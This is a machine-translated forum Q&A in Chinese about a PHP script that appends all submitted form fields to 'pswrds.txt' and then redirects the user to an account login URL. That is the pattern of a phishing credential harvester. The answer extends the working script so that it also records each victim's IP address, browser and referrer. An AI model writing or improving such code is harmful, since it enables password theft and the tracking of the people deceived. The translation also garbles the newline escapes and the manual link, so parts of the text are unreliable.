PHP将用户信息保存到TXT文件

Question

以下代码将某些信息保存到pswrds.txt：

<?php
    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");
    foreach($_POST as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "rn");
    }
    fwrite($handle, "rn");
    fclose($handle);
    exit;
?>

如何获得代码也保存IP，用户代理＆amp;推荐人？

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];

Answer 1

您可以将$ _ post分配给本地范围中的变量，然后将您想要的变量添加到数组：

$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];

然后像现在一样进行循环，但要迭代$ post而不是$ _post。

注意：还应该自己停止硬编码新线字符，而是使用php_eol。http://php.net/manual/en/erseved.constants.php#constant.php-eol

<?php
    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");
    $post = $_POST;
    $post['ip'] = $_SERVER['REMOTE_ADDR'];
    $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
    $post['referrer'] = $_SERVER['HTTP_REFERER'];
    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }
    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;
?>
